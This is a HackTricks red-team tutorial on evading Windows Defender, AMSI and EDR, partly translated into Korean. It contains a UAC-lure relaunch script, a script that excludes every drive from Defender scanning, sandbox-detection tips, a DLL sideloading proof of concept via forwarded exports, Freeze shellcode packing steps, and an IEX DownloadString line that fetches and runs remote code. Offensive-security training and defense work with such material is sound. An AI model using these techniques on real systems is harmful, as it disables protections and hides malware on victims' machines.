์•ˆํ‹ฐ๋ฐ”์ด๋Ÿฌ์Šค(AV) ์šฐํšŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ํŽ˜์ด์ง€๋Š” @m2rc_p!

Defender ์ค‘์ง€

  • defendnot: Windows Defender ์ž‘๋™์„ ์ค‘์ง€์‹œํ‚ค๋Š” ๋„๊ตฌ.
  • no-defender: ๋‹ค๋ฅธ AV๋ฅผ ๊ฐ€์žฅํ•˜์—ฌ Windows Defender ์ž‘๋™์„ ์ค‘์ง€์‹œํ‚ค๋Š” ๋„๊ตฌ.
  • Disable Defender if you are admin

Defender๋ฅผ ์กฐ์ž‘ํ•˜๊ธฐ ์ „์— ์‚ฌ์šฉํ•˜๋Š” ์„ค์น˜ํ˜• UAC ๋ฏธ๋ผ

๊ฒŒ์ž„ ์น˜ํŠธ๋กœ ์œ„์žฅํ•œ ๊ณต๊ฐœ ๋กœ๋”๋“ค์€ ์ข…์ข… ์„œ๋ช…๋˜์ง€ ์•Š์€ Node.js/Nexe ์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ ๋ฐฐํฌ๋˜๋ฉฐ, ๋จผ์ € ask the user for elevation ํ•˜๊ณ  ๊ทธ ๋‹ค์Œ์— Defender๋ฅผ ๋ฌด๋ ฅํ™”ํ•ฉ๋‹ˆ๋‹ค. ํ๋ฆ„์€ ๋‹จ์ˆœํ•ฉ๋‹ˆ๋‹ค:

  1. net session์œผ๋กœ ๊ด€๋ฆฌ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ช…๋ น์€ ํ˜ธ์ถœ์ž๊ฐ€ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ๊ฐ€์งˆ ๋•Œ๋งŒ ์„ฑ๊ณตํ•˜๋ฏ€๋กœ, ์‹คํŒจํ•˜๋ฉด ๋กœ๋”๊ฐ€ ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰ ์ค‘์ž„์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  2. ์›๋ž˜ ๋ช…๋ น์ค„์„ ์œ ์ง€ํ•œ ์ฑ„ ์˜ˆ์ƒ๋˜๋Š” UAC ๋™์˜ ํ”„๋กฌํ”„ํŠธ๋ฅผ ์œ ๋ฐœํ•˜๊ธฐ ์œ„ํ•ด ์ฆ‰์‹œ RunAs verb๋กœ ์ž์ฒด๋ฅผ ์žฌ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
if (-not (net session 2>$null)) {
powershell -WindowStyle Hidden -Command "Start-Process cmd.exe -Verb RunAs -WindowStyle Hidden -ArgumentList '/c ""`<path_to_loader`>""'"
exit
}

ํ”ผํ•ด์ž๋“ค์€ ์ด๋ฏธ โ€œcrackedโ€ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ์„ค์น˜ํ•œ๋‹ค๊ณ  ๋ฏฟ๊ธฐ ๋•Œ๋ฌธ์—, ํ•ด๋‹น ํ”„๋กฌํ”„ํŠธ๋ฅผ ๋ณดํ†ต ์ˆ˜๋ฝํ•˜์—ฌ malware๊ฐ€ Defender์˜ ์ •์ฑ…์„ ๋ณ€๊ฒฝํ•  ๊ถŒํ•œ์„ ์–ป๊ฒŒ ๋œ๋‹ค.

๋ชจ๋“  ๋“œ๋ผ์ด๋ธŒ ๋ฌธ์ž์— ๋Œ€ํ•œ ์ผ๊ด„ MpPreference ์ œ์™ธ

๊ถŒํ•œ ์ƒ์Šน ํ›„, GachiLoader-style ์ฒด์ธ์€ ์„œ๋น„์Šค๋ฅผ ์™„์ „ํžˆ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๋Œ€์‹  Defender์˜ ์‚ฌ๊ฐ์ง€๋Œ€๋ฅผ ๊ทน๋Œ€ํ™”ํ•œ๋‹ค. ๋กœ๋”๋Š” ๋จผ์ € GUI ๊ฐ์‹œ ํ”„๋กœ์„ธ์Šค(taskkill /F /IM SecHealthUI.exe)๋ฅผ ์ข…๋ฃŒํ•œ ๋‹ค์Œ, ๋งค์šฐ ๊ด‘๋ฒ”์œ„ํ•œ ์ œ์™ธ ๊ทœ์น™์„ ์ ์šฉํ•˜์—ฌ ๋ชจ๋“  ์‚ฌ์šฉ์ž ํ”„๋กœํ•„, ์‹œ์Šคํ…œ ๋””๋ ‰ํ„ฐ๋ฆฌ, ๋ฐ ์ด๋™์‹ ๋””์Šคํฌ๋ฅผ ์Šค์บ” ๋ถˆ๊ฐ€ ์ƒํƒœ๋กœ ๋งŒ๋“ ๋‹ค:

$targets = @('C:\Users\', 'C:\ProgramData\', 'C:\Windows\')
Get-PSDrive -PSProvider FileSystem | ForEach-Object { $targets += $_.Root }
$targets | Sort-Object -Unique | ForEach-Object { Add-MpPreference -ExclusionPath $_ }
Add-MpPreference -ExclusionExtension '.sys'

Key observations:

  • The loop walks every mounted filesystem (D:, E:, USB sticks, etc.) so any future payload dropped anywhere on disk is ignored.
  • The .sys extension exclusion is forward-lookingโ€”attackers reserve the option to load unsigned drivers later without touching Defender again.
  • All changes land under HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions, letting later stages confirm the exclusions persist or expand them without re-triggering UAC.

Because no Defender service is stopped, naรฏve health checks keep reporting โ€œantivirus activeโ€ even though real-time inspection never touches those paths.

AV ํšŒํ”ผ ๋ฐฉ๋ฒ•๋ก 

Currently, AVs use different methods for checking if a file is malicious or not, static detection, dynamic analysis, and for the more advanced EDRs, behavioural analysis.

Static detection

Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as theyโ€™ve probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:

  • Encryption

If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.

  • Obfuscation

Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what youโ€™re trying to obfuscate.

  • Custom tooling

If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.

Tip

A good way for checking against Windows Defender static detection is ThreatCheck. It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary.

I highly recommend you check out this YouTube playlist about practical AV Evasion.

Dynamic analysis

Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browserโ€™s passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.

  • Sleep before execution Depending on how itโ€™s implemented, it can be a great way of bypassing AVโ€™s dynamic analysis. AVโ€™s have a very short time to scan files to not interrupt the userโ€™s workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AVโ€™s sandboxes can just skip the sleep depending on how itโ€™s implemented.
  • Checking machineโ€™s resources Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the userโ€™s machine. You can also get very creative here, for example by checking the CPUโ€™s temperature or even the fan speeds, not everything will be implemented in the sandbox.
  • Machine-specific checks If you want to target a user whoโ€™s workstation is joined to the โ€œcontoso.localโ€ domain, you can do a check on the computerโ€™s domain to see if it matches the one youโ€™ve specified, if it doesnโ€™t, you can make your program exit.

It turns out that Microsoft Defenderโ€™s Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means youโ€™re inside defenderโ€™s sandbox, so you can make your program exit.

์ถœ์ฒ˜: https://youtu.be/StSLxFbVz0M?t=1439

Some other really good tips from @mgeeky for going against Sandboxes

Red Team VX Discord #malware-dev channel

As weโ€™ve said before in this post, public tools will eventually get detected, so, you should ask yourself something:

For example, if you want to dump LSASS, do you really need to use mimikatz? Or could you use a different project which is lesser known and also dumps LSASS.

The right answer is probably the latter. Taking mimikatz as an example, itโ€™s probably one of, if not the most flagged piece of malware by AVs and EDRs, while the project itself is super cool, itโ€™s also a nightmare to work with it to get around AVs, so just look for alternatives for what youโ€™re trying to achieve.

Tip

When modifying your payloads for evasion, make sure to turn off automatic sample submission in defender, and please, seriously, DO NOT UPLOAD TO VIRUSTOTAL if your goal is achieving evasion in the long run. If you want to check if your payload gets detected by a particular AV, install it on a VM, try to turn off the automatic sample submission, and test it there until youโ€™re satisfied with the result.

EXEs vs DLLs

Whenever itโ€™s possible, always prioritize using DLLs for evasion, in my experience, DLL files are usually way less detected and analyzed, so itโ€™s a very simple trick to use in order to avoid detection in some cases (if your payload has some way of running as a DLL of course).

As we can see in this image, a DLL Payload from Havoc has a detection rate of 4/26 in antiscan.me, while the EXE payload has a 7/26 detection rate.

antiscan.me ๋น„๊ต: ์ผ๋ฐ˜ Havoc EXE ํŽ˜์ด๋กœ๋“œ vs ์ผ๋ฐ˜ Havoc DLL

Now weโ€™ll show some tricks you can use with DLL files to be much more stealthier.

DLL Sideloading & Proxying

DLL Sideloading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.

You can check for programs susceptible to DLL Sideloading using Siofra and the following powershell script:

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

์ด ๋ช…๋ น์€ โ€œC:\Program Files\โ€ ๋‚ด๋ถ€์—์„œ DLL hijacking์— ์ทจ์•ฝํ•œ ํ”„๋กœ๊ทธ๋žจ ๋ชฉ๋ก๊ณผ ํ•ด๋‹น ํ”„๋กœ๊ทธ๋žจ๋“ค์ด ๋กœ๋“œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜๋Š” DLL ํŒŒ์ผ๋“ค์„ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค.

์ง์ ‘ DLL Hijackable/Sideloadable programs๋ฅผ ํƒ์ƒ‰ํ•ด ๋ณด์‹œ๊ธธ ๊ฐ•๋ ฅํžˆ ๊ถŒํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ์ˆ ์€ ์ œ๋Œ€๋กœ ์ˆ˜ํ–‰ํ•˜๋ฉด ์ƒ๋‹นํžˆ ์€๋ฐ€ํ•˜์ง€๋งŒ, ๊ณต๊ฐœ์ ์œผ๋กœ ์•Œ๋ ค์ง„ DLL Sideloadable programs๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์‰ฝ๊ฒŒ ๋ฐœ๊ฐ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ”„๋กœ๊ทธ๋žจ์ด ๋กœ๋“œํ•  ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒํ•˜๋Š” ์ด๋ฆ„์˜ ์•…์„ฑ DLL์„ ๋‹จ์ˆœํžˆ ๋ฐฐ์น˜ํ•œ๋‹ค๊ณ  ํ•ด์„œ payload๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์€ ์•„๋‹™๋‹ˆ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์€ ๊ทธ DLL ์•ˆ์— ํŠน์ • ํ•จ์ˆ˜๋“ค์„ ๊ธฐ๋Œ€ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด ์šฐ๋ฆฌ๋Š” DLL Proxying/Forwarding์ด๋ผ๋Š” ๋‹ค๋ฅธ ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

DLL Proxying์€ ํ”„๋กœ๊ทธ๋žจ์ด proxy(๋ฐ ์•…์„ฑ) DLL์— ๋ณด๋‚ด๋Š” ํ˜ธ์ถœ์„ ์›๋ž˜ DLL๋กœ ์ „๋‹ฌํ•˜์—ฌ ํ”„๋กœ๊ทธ๋žจ์˜ ๊ธฐ๋Šฅ์„ ์œ ์ง€ํ•˜๋ฉด์„œ payload ์‹คํ–‰์„ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.

์ €๋Š” @flangvik์˜ SharpDLLProxy ํ”„๋กœ์ ํŠธ๋ฅผ ์‚ฌ์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋‹ค์Œ์€ ์ œ๊ฐ€ ์ˆ˜ํ–‰ํ•œ ๋‹จ๊ณ„์ž…๋‹ˆ๋‹ค:

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

๋งˆ์ง€๋ง‰ ๋ช…๋ น์€ 2๊ฐœ์˜ ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค: DLL ์†Œ์Šค ์ฝ”๋“œ ํ…œํ”Œ๋ฆฟ๊ณผ ์›๋ณธ ์ด๋ฆ„์ด ๋ณ€๊ฒฝ๋œ DLL.

``` 5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL. ```

๋‘˜ ๋‹ค, ์šฐ๋ฆฌ shellcode ( SGN์œผ๋กœ ์ธ์ฝ”๋”ฉ๋จ )์™€ proxy DLL์€ antiscan.me์—์„œ 0/26 ํƒ์ง€์œจ์„ ๊ธฐ๋กํ–ˆ์Šต๋‹ˆ๋‹ค! ์ €๋Š” ์ด๋ฅผ ์„ฑ๊ณต์ด๋ผ๊ณ  ๋ถ€๋ฅด๊ฒ ์Šต๋‹ˆ๋‹ค.

Tip

I highly recommend you watch S3cur3Th1sSh1tโ€™s twitch VOD about DLL Sideloading and also ippsecโ€™s video to learn more about what weโ€™ve discussed more in-depth.

Abusing Forwarded Exports (ForwardSideLoading)

Windows PE ๋ชจ๋“ˆ์€ ์‹ค์ œ๋กœ โ€œforwardersโ€œ์ธ ํ•จ์ˆ˜๋ฅผ exportํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ์ฝ”๋“œ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋Œ€์‹ , export ์—”ํŠธ๋ฆฌ๋Š” TargetDll.TargetFunc ํ˜•ํƒœ์˜ ASCII ๋ฌธ์ž์—ด์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ํ˜ธ์ถœ์ž๊ฐ€ export๋ฅผ ํ•ด์„(resolve)ํ•  ๋•Œ, Windows ๋กœ๋”๋Š” ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค:

  • TargetDll์ด ์•„์ง ๋กœ๋“œ๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค
  • ๊ทธ๋กœ๋ถ€ํ„ฐ TargetFunc๋ฅผ ํ•ด์„ํ•ฉ๋‹ˆ๋‹ค

์ดํ•ดํ•ด์•ผ ํ•  ์ฃผ์š” ๋™์ž‘:

  • TargetDll์ด KnownDLL์ด๋ฉด ๋ณดํ˜ธ๋œ KnownDLLs ๋„ค์ž„์ŠคํŽ˜์ด์Šค(์˜ˆ: ntdll, kernelbase, ole32)์—์„œ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • TargetDll์ด KnownDLL์ด ์•„๋‹ˆ๋ฉด, ๋ชจ๋“ˆ์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ํฌํ•จํ•˜๋Š” ์ผ๋ฐ˜์ ์ธ DLL ๊ฒ€์ƒ‰ ์ˆœ์„œ๊ฐ€ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

์ด๊ฒƒ์€ ๊ฐ„์ ‘์ ์ธ sideloading primitive๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค: ํ•จ์ˆ˜๊ฐ€ non-KnownDLL ๋ชจ๋“ˆ ์ด๋ฆ„์œผ๋กœ forward๋œ signed DLL์„ ์ฐพ์•„์„œ, ๊ทธ signed DLL๊ณผ ๋™์ผํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ์— forward ๋Œ€์ƒ ๋ชจ๋“ˆ ์ด๋ฆ„๊ณผ ์ •ํ™•ํžˆ ์ผ์น˜ํ•˜๋Š” attacker-controlled DLL์„ ํ•จ๊ป˜ ๋ฐฐ์น˜ํ•ฉ๋‹ˆ๋‹ค. forwarded export๊ฐ€ ํ˜ธ์ถœ๋˜๋ฉด, ๋กœ๋”๋Š” forward๋ฅผ ํ•ด์„ํ•˜๊ณ  ๋™์ผํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ์—ฌ๋Ÿฌ๋ถ„์˜ DLL์„ ๋กœ๋“œํ•˜์—ฌ DllMain์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Example observed on Windows 11:

keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface

NCRYPTPROV.dll์€ KnownDLL์ด ์•„๋‹ˆ๋ฏ€๋กœ ํ‘œ์ค€ ๊ฒ€์ƒ‰ ์ˆœ์„œ์— ๋”ฐ๋ผ ํ•ด๊ฒฐ๋ฉ๋‹ˆ๋‹ค.

PoC (copy-paste):

  1. ์„œ๋ช…๋œ ์‹œ์Šคํ…œ DLL์„ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋”๋กœ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค.
copy C:\Windows\System32\keyiso.dll C:\test\
  1. ๋™์ผํ•œ ํด๋”์— ์•…์„ฑ NCRYPTPROV.dll์„(๋ฅผ) ๋ฐฐ์น˜ํ•˜์„ธ์š”. ์ตœ์†Œํ•œ์˜ DllMain๋งŒ์œผ๋กœ๋„ ์ฝ”๋“œ ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•˜๋ฉฐ, DllMain์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด ํฌ์›Œ๋”ฉ๋œ ํ•จ์ˆ˜๋ฅผ ๊ตฌํ˜„ํ•  ํ•„์š”๋Š” ์—†์Šต๋‹ˆ๋‹ค.
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){
if (reason == DLL_PROCESS_ATTACH){
HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);}
}
return TRUE;
}
  1. ์„œ๋ช…๋œ LOLBin์œผ๋กœ ํฌ์›Œ๋“œ๋ฅผ ํŠธ๋ฆฌ๊ฑฐ:
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface

Observed behavior:

  • rundll32 (signed) loads the side-by-side keyiso.dll (signed)
  • ๋กœ๋”๊ฐ€ KeyIsoSetAuditingInterface๋ฅผ ํ•ด๊ฒฐํ•˜๋Š” ๋™์•ˆ, forward๋ฅผ ๋”ฐ๋ผ NCRYPTPROV.SetAuditingInterface๋กœ ์—ฐ๊ฒฐ๋œ๋‹ค
  • ๊ทธ ๋‹ค์Œ ๋กœ๋”๋Š” C:\test์—์„œ NCRYPTPROV.dll์„ ๋กœ๋“œํ•˜๊ณ  ๊ทธ DllMain์„ ์‹คํ–‰ํ•œ๋‹ค
  • ๋งŒ์•ฝ SetAuditingInterface๊ฐ€ ๊ตฌํ˜„๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด, DllMain์ด ์ด๋ฏธ ์‹คํ–‰๋œ ์ดํ›„์—์•ผ โ€œmissing APIโ€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค

Hunting tips:

  • ํƒ€๊ฒŸ ๋ชจ๋“ˆ์ด KnownDLL์ด ์•„๋‹Œ forwarded exports์— ์ฃผ๋ชฉํ•˜๋ผ. KnownDLLs๋Š” HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs์— ๋‚˜์—ด๋˜์–ด ์žˆ๋‹ค.
  • ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํˆด์„ ์‚ฌ์šฉํ•ด forwarded exports๋ฅผ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ๋‹ค:
dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
  • Windows 11 forwarder ์ธ๋ฒคํ† ๋ฆฌ์—์„œ ํ›„๋ณด๋ฅผ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”: https://hexacorn.com/d/apis_fwd.txt

ํƒ์ง€/๋ฐฉ์–ด ์•„์ด๋””์–ด:

  • Monitor LOLBins (์˜ˆ: rundll32.exe)๊ฐ€ ๋น„์‹œ์Šคํ…œ ๊ฒฝ๋กœ์—์„œ ์„œ๋ช…๋œ DLL์„ ๋กœ๋“œํ•œ ๋’ค, ๋™์ผํ•œ ๊ธฐ๋ณธ ์ด๋ฆ„์„ ๊ฐ€์ง„ non-KnownDLLs๋ฅผ ํ•ด๋‹น ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์„ธ์š”
  • ์‚ฌ์šฉ์ž ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๊ฒฝ๋กœ์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ”„๋กœ์„ธ์Šค/๋ชจ๋“ˆ ์ฒด์ธ์— ๋Œ€ํ•ด ๊ฒฝ๋ณด๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค์„ธ์š”: rundll32.exe โ†’ non-system keyiso.dll โ†’ NCRYPTPROV.dll
  • ์ฝ”๋“œ ๋ฌด๊ฒฐ์„ฑ ์ •์ฑ…(WDAC/AppLocker)์„ ์ ์šฉํ•˜๊ณ  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ write+execute ๊ถŒํ•œ์„ ๊ฑฐ๋ถ€ํ•˜์„ธ์š”

Freeze

Freeze๋Š” suspended processes, direct syscalls, ๊ทธ๋ฆฌ๊ณ  alternative execution methods๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ EDRs๋ฅผ ์šฐํšŒํ•˜๋Š” payload toolkit์ž…๋‹ˆ๋‹ค

Freeze๋ฅผ ์‚ฌ์šฉํ•ด shellcode๋ฅผ ์€๋ฐ€ํ•˜๊ฒŒ ๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

Tip

ํšŒํ”ผ๋Š” ๋‹จ์ง€ ์ฅ์™€ ๊ณ ์–‘์ด์˜ ๊ฒŒ์ž„์ž…๋‹ˆ๋‹ค. ์˜ค๋Š˜ ํ†ตํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ๋‚ด์ผ์—๋Š” ํƒ์ง€๋  ์ˆ˜ ์žˆ์œผ๋‹ˆ, ์ ˆ๋Œ€ ํ•œ ๊ฐ€์ง€ ๋„๊ตฌ์—๋งŒ ์˜์กดํ•˜์ง€ ๋ง๊ณ  ๊ฐ€๋Šฅํ•˜๋ฉด ์—ฌ๋Ÿฌ ํšŒํ”ผ ๊ธฐ๋ฒ•์„ ์—ฐ์‡„์ ์œผ๋กœ ์‚ฌ์šฉํ•˜์„ธ์š”.

AMSI (Anti-Malware Scan Interface)

AMSI๋Š” fileless malware๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋งŒ๋“ค์–ด์กŒ์Šต๋‹ˆ๋‹ค. ์ดˆ๊ธฐ์— AVs๋Š” files on disk๋งŒ ์Šค์บ”ํ•  ์ˆ˜ ์žˆ์—ˆ๊ธฐ ๋•Œ๋ฌธ์—, ํŽ˜์ด๋กœ๋“œ๋ฅผ directly in-memory๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด AVs๋Š” ๊ฐ€์‹œ์„ฑ์ด ๋ถ€์กฑํ•˜์—ฌ ์ด๋ฅผ ๋ง‰์„ ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค.

The AMSI feature is integrated into these components of Windows.

  • User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
  • PowerShell (scripts, interactive use, and dynamic code evaluation)
  • Windows Script Host (wscript.exe and cscript.exe)
  • JavaScript and VBScript
  • Office VBA macros

์ด ๊ธฐ๋Šฅ์€ ์Šคํฌ๋ฆฝํŠธ ๋‚ด์šฉ์„ ์•”ํ˜ธํ™”๋˜์ง€ ์•Š๊ณ  ๋‚œ๋…ํ™”๋˜์ง€ ์•Š์€ ํ˜•ํƒœ๋กœ ๋…ธ์ถœํ•˜์—ฌ antivirus ์†”๋ฃจ์…˜์ด ์Šคํฌ๋ฆฝํŠธ ๋™์ž‘์„ ๊ฒ€์‚ฌํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

Running IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') will produce the following alert on Windows Defender.

amsi:๋ฅผ ์•ž์— ๋ถ™์ด๊ณ  ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋œ ์‹คํ–‰ ํŒŒ์ผ์˜ ๊ฒฝ๋กœ(์ด ๊ฒฝ์šฐ, powershell.exe)๋ฅผ ํ‘œ์‹œํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์„ธ์š”.

๋””์Šคํฌ์— ํŒŒ์ผ์„ ๋–จ์–ด๋œจ๋ฆฌ์ง€ ์•Š์•˜์Œ์—๋„ AMSI ๋•Œ๋ฌธ์— in-memory์—์„œ ํƒ์ง€๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๋”์šฑ์ด, .NET 4.8๋ถ€ํ„ฐ๋Š” C# ์ฝ”๋“œ๋„ AMSI๋ฅผ ํ†ตํ•ด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” Assembly.Load(byte[])๋กœ in-memory ์‹คํ–‰์„ ํ•  ๋•Œ์—๋„ ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ AMSI๋ฅผ ํšŒํ”ผํ•˜๋ ค๋ฉด in-memory ์‹คํ–‰ ์‹œ .NET์˜ ๋‚ฎ์€ ๋ฒ„์ „(์˜ˆ: 4.7.2 ์ดํ•˜)์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค.

There are a couple of ways to get around AMSI:

  • Obfuscation

AMSI๋Š” ์ฃผ๋กœ ์ •์  ํƒ์ง€๋กœ ๋™์ž‘ํ•˜๋ฏ€๋กœ, ๋กœ๋“œํ•˜๋ ค๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ์ด ํƒ์ง€ ํšŒํ”ผ์— ํšจ๊ณผ์ ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

